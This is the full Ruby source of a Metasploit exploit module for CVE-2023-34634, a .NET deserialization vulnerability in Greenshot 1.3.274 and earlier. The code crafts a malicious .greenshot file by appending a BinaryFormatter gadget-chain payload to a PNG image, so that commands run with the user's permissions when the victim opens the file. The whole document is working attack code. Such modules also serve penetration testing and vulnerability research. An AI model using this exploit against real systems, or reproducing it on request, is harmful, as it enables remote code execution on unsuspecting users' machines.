Greenshot 1.3.274 Deserialization / Command Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::FILEFORMAT  include Msf::Post::File  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Greenshot .NET Deserialization Fileformat Exploit',        'Description' => %q{          There exists a .NET deserialization vulnerability in Greenshot version 1.3.274          and below.  The deserialization allows the execution of commands when a user opens          a Greenshot file.  The commands execute under the same permissions as the Greenshot          service.  Typically, is the logged in user.        },        'DisclosureDate' => '2023-07-26',        'Author' => [          'p4r4bellum',  # Discovery          'bwatters-r7', # msf exploit        ],        'References' => [          ['CVE', '2023-34634'],          ['EDB', '51633']        ],        'License' => MSF_LICENSE,        'Platform' => 'win',        'Arch' => ARCH_CMD,        'Targets' => [          [ 'Windows', {} ],        ],        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]        }      )    )    register_options([      OptPath.new('PNG_FILE', [false, 'PNG file to use'])    ])  end  def exploit    if datastore['PNG_FILE'].blank?      image_file = File.join(Msf::Config.data_directory, 'exploits', 'cve-2023-34634', 'test.png')    else      image_file = datastore['PNG_FILE']    end    datastore['FILENAME'] = Rex::Text.rand_text_alpha(rand(6..13)) if datastore['FILENAME'].blank?    if datastore['FILENAME'].length < 10 || datastore['FILENAME'][-10, -1] != '.greenshot'      datastore['FILENAME'] << '.greenshot'    end    cmd = payload.encoded    image_data = File.binread(image_file)    deserialize_cmd = ::Msf::Util::DotNetDeserialization.generate(      cmd,      gadget_chain: :WindowsIdentity,      formatter: :BinaryFormatter    )    payload_length = deserialize_cmd.length    outfile = image_data    outfile << deserialize_cmd    outfile << [payload_length].pack('Q')    outfile << 'Greenshot01.02'    file_create(outfile)  endend